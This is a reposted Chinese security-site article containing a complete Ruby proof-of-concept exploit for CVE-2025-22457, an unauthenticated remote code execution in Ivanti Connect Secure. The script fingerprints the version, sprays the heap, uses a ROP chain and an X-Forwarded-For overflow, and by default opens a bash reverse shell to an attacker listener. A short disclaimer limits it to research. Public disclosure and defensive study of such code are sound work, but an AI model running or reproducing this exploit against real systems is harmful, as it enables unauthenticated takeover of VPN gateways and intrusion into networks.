CVE-2025-22457介绍:
# PoC for CVE-2025-22457 - Ivanti Connect Secure unauthenticated RCE # # Usage: # # First start a netcat listener to catch the reverse shell: # ncat -lnvkp 4444 # The run the exploit against a target: # ruby CVE-2025-22457.rb -t TARGET_IP -p 443 --lhost NCAT_IP --lport 4444 # # Stephen Fewer (Rapid7) - April 9, 2025. require 'socket' require 'openssl' require 'httparty' require 'optparse' HTTParty::Basement.default_options.update(verify: false) def log(txt) $stdout.puts("[#{Time.now}] #{txt}") end # https://github.com/BishopFox/CVE-2025-0282-check/blob/main/scan-cve-2025-0282.py#L6 def get_productversion(options) res = HTTParty.get("#{options[:target_scheme]}://#{options[:target_ip]}:#{options[:target_port]}/dana-na/auth/url_admin/welcome.cgi?type=inter") return nil unless res&.code == 200 m = res.body.match(/name="productversion"\s+value="(\d+.\d+.\d+.\d+)"/i) return nil unless m&.length == 2 m[1] end def send_http_data(options, data, verbose = false, read = true) s = TCPSocket.open(options[:target_ip], options[:target_port]) if options[:target_scheme] == 'https' ctx = OpenSSL::SSL::SSLContext.new ctx.set_params(verify_mode: OpenSSL::SSL::VERIFY_NONE) s = OpenSSL::SSL::SSLSocket.new(s, ctx).tap do |socket| socket.sync_close = true socket.connect end end s.write(data) return [nil, s] unless read result = '' content_length = 0 while line = s.gets p line if verbose m = line.match(/content-length: (\d+)\r\n/i) content_length = m[1].to_i if m result << line next unless line == "\r\n" && content_length break if content_length <= 0 content = s.read(content_length) p content if verbose result << content break end [result, s] end def hax(options) log "[+] Targeting #{options[:target_scheme]}://#{options[:target_ip]}:#{options[:target_port]}/" log "[+] Payload: #{options[:payload]}" productversion = get_productversion(options) if productversion.nil? log "[-] Could not get product version for #{options[:target_ip]}:#{options[:target_port]}" return end log "[+] Detected version #{productversion}" # NOTE: All gadgets are from /home/lib/libdsplibs.so targets = { # 22.7r2.4 b3597 (libdsplibs.so sha1: f31a3cc442df5178b37ea539ff418fec9bf3404f) '22.7.2.3597' => { overflow_length: 622, # 0x0050c7e6: mov esp, ebp; pop ebp; ret; gadget_mov_esp_ebp_pop_ret: 0x0050c7e6, offset_to_got_plt: 0x0157c000, # 0x00033222: pop ebx; ret; gadget_pop_ebx_ret: 0x00033222, # .text:F6D7131F mov [esp], edi # .text:F6D71322 call __ZN5DSSys18isInterfaceEnabledEPKc gadget_call_system: 0x0087E31F } } target = targets[productversion] throw "No target for #{productversion}" unless target log '[+] Starting...' # with 9 bits of entroy, we should guess corectly every ~512 attempts. 0.upto(1024) do |attempt| # XXX: we have to brute force this. libdsplibs_base = options[:libdsplibs] || (0xf6400000 + (attempt % 512)) log "[+] Attempt #{attempt}, trying libdsplibs.so @ 0x#{libdsplibs_base.to_s(16)}" log ' Making connections...' spray_socks = [] lock = Mutex.new threads = [] 0.upto(options[:max_threads]) do threads << Thread.new do while true begin break unless lock.synchronize do spray_socks.length < ((1024 - 256) * options[:web_children]) end body = "GET / HTTP/1.1\r\n" body << "Host: #{options[:target_ip]}:#{options[:target_port]}\r\n" body << "User-Agent: AnyConnect-compatible OpenConnect VPN Agent v9.12-188-gaebfabb3-dirty\r\n" body << "Content-Type: EAP\r\n" body << "Upgrade: IF-T/TLS 1.0\r\n" body << "Content-Length: 0\r\n" body << "\r\n" res, s = send_http_data(options, body, false, true) throw 'bad response1' unless res.include? '101 Switching Protocols' lock.synchronize do spray_socks << s end rescue StandardError log "[-] Exception: #{$!}" end end end end threads.each do |t| t.join end log ' Spraying...' shell_cmd = "a;#{options[:payload]} # " shell_cmd += "\x00" shell_cmd += 'B' while shell_cmd.length < 128 throw 'shell_cmd should be 128 bytes' unless shell_cmd.length == 128 spray_pattern = [ 0xCAFEF00D, # 0x39393918: 0xCAFEF01D, # 0x3939391C: 0xCAFEF02D, # 0x39393920: 0xCAFEF03D, # 0x39393924: libdsplibs_base + target[:gadget_mov_esp_ebp_pop_ret], # 0x39393928: <--- initial eip control, stack pivot gadget. 0x39393928 - 0x10, # 0x3939392C: 0xCAFEF06D, # 0x39393930: <--- 0x39393930 points here @ ebp (rop: pop ebp) libdsplibs_base + target[:gadget_pop_ebx_ret], # 0x39393934: libdsplibs_base + target[:offset_to_got_plt], # 0x39393938: <--- eax (rop pop ebx) libdsplibs_base + target[:gadget_call_system], # 0x3939393C: 0xCAFEF0AD, # 0x39393940: 0xCAFEF0BD, # 0x39393944: 0xCAFEF0CD, # 0x39393948: 0xCAFEF0DD, # 0x3939394C: 0xCAFEF0ED, # 0x39393950: 0xCAFEF0FD, # 0x39393954: 0xCAFEF10D, # 0x39393958: 0x3939392C, # 0x3939395C: <--- 0x39393930+0x2c ->> edx 0x3939392C 0xCAFEF12D, # 0x39393960: 0xCAFEF13D, # 0x39393964: 0x39393998, # 0x39393968: <--- ptr to shell_cmd, referenced @ edi 0xCAFEF15D, # 0x3939396C: 0xCAFEF16D, # 0x39393970: 0xCAFEF17D, # 0x39393974: 0xCAFEF18D, # 0x39393978: 0xCAFEF19D, # 0x3939397C: 0xCAFEF1AD, # 0x39393980: 0xCAFEF1BD, # 0x39393984: 0xCAFEF1CD, # 0x39393988: 0x41414141, # 0x3939398C: <--- last EIP after payload exits. 0xCAFEF1ED, # 0x39393990: 0x00000000 # 0x39393994: 0x39393930+0x64, this is ctx->max_headers and lets us bail out of the headers loop early. # 0x39393998: shell_cmd @ edi ].pack('V*') + shell_cmd throw 'spray_pattern should be 256 bytes' unless spray_pattern.length == 256 heap_buffer = spray_pattern * ((1024 * 1024 * 3) / spray_pattern.length) ift_body = [ 0x00005597, # VENDOR_TCG 0x00000001, # IFT_VERSION_REQUEST heap_buffer.length + 16 + 1, 0 # seq id ].pack('NNNN') + heap_buffer spray_idx = 0 0.upto(options[:max_threads]) do threads << Thread.new do while true begin s = lock.synchronize do s = spray_socks[spray_idx] spray_idx += 1 s end break if s.nil? s.write(ift_body) rescue StandardError p "[-] exception: #{$!}" end end end end threads.each do |t| t.join end log ' Triggering...' buffer = '1' * target[:overflow_length] buffer += [ 0x31313131, # ebx 0x32323232, # esi 0x33333333, # edi 0x34343434, # ebp 0x35353535, # eip (but we dont get control here) 0x39393930 # [ebp+8] -> a1 -> heap spray ].pack('V*') throw 'bad chars in buffer, only 0123456789. allowed' unless buffer.scan(/^[\d.]+$/).any? body = "GET / HTTP/1.1\r\n" body << "X-Forwarded-For: #{buffer}\r\n" body << "\r\n" 0.upto(options[:web_children]) do |attempt| log " #{attempt}" send_http_data(options, body, true) rescue StandardError log "[-] Exception: #{$!}" end # if we have failed, give the target a few seconds to respawn the web binary before we try again. sleep(5) end log '[+] Finished.' end options = { target_scheme: 'https', target_ip: nil, target_port: 443, local_ip: nil, local_port: 4444, payload: 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1', max_threads: 32, web_children: 4, libdsplibs: nil } OptionParser.new do |opts| opts.banner = 'Usage: CVE-2025-22457.rb [options]' opts.on('-s', '--scheme=https', 'http or https (Default: https)') do |v| options[:target_scheme] = v.downcase end opts.on('-t', '--rhost=IP', 'Remote IP of target') do |v| options[:target_ip] = v end opts.on('-p', '--rport=PORT', 'Remote port of target (Default: 443)') do |v| options[:target_port] = v.to_i end opts.on('--lhost=IP', 'Local IP for reverse shell') do |v| options[:payload].gsub!('LHOST', v) end opts.on('--lport=PORT', 'Local port for reverse shell (Default: 4444)') do |v| options[:payload].gsub!('LPORT', v) end opts.on('-c', '--cmd=CMD', 'Payload Command (Defaults to a reverse shell)') do |v| options[:payload] = v end opts.on('-k', '--max_threads=COUNT', 'Max threads to use when spraying (Default: 32)') do |v| options[:max_threads] = v.to_i end # Depending on the underlying hardware, the number of CPUs available to the appliance will dictate # the number of child processes the /home/bin/web binary will spawn. As all incoming HTTPS requests # will be distributed between these children, we need to account for this and perform the heap spray # enough times for all child processes. We need to do this as when we trigger the vulnerability, we # cannot know what child process we will trigger it in. So we need the heap spray to be present in # every child process. # 1 vCPU - 1 web process, no children # 2 vCPU - 1 web parent, 2 children # 4 vCPU - 1 web parent, 4 children # 8 vCPU - 1 web parent, 8 children opts.on('--web_children=COUNT', 'The number of /home/bin/web child processes (Default: 4)') do |v| options[:web_children] = v.to_i end opts.on('--libdsplibs=ADDRESS', 'Base address of libdsplibs (e.g. 0xf6486000)') do |v| options[:libdsplibs] = v.to_i(16) end end.parse! throw 'set target IP via -t argument' unless options[:target_ip] throw 'set payload local IP via --lhost argument' if options[:payload].include? 'LHOST' throw 'set payload local port via --lport argument' if options[:payload].include? 'LPORT' throw 'payload cannot be empty' if options[:payload].empty? throw 'payload is too large, must be <= 122 chars' if options[:payload].length > 122 hax(options)
原文始发于微信公众号(Z1sec):CVE-2025-22457:基于堆栈的远程缓冲区溢出的POC验证脚本
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论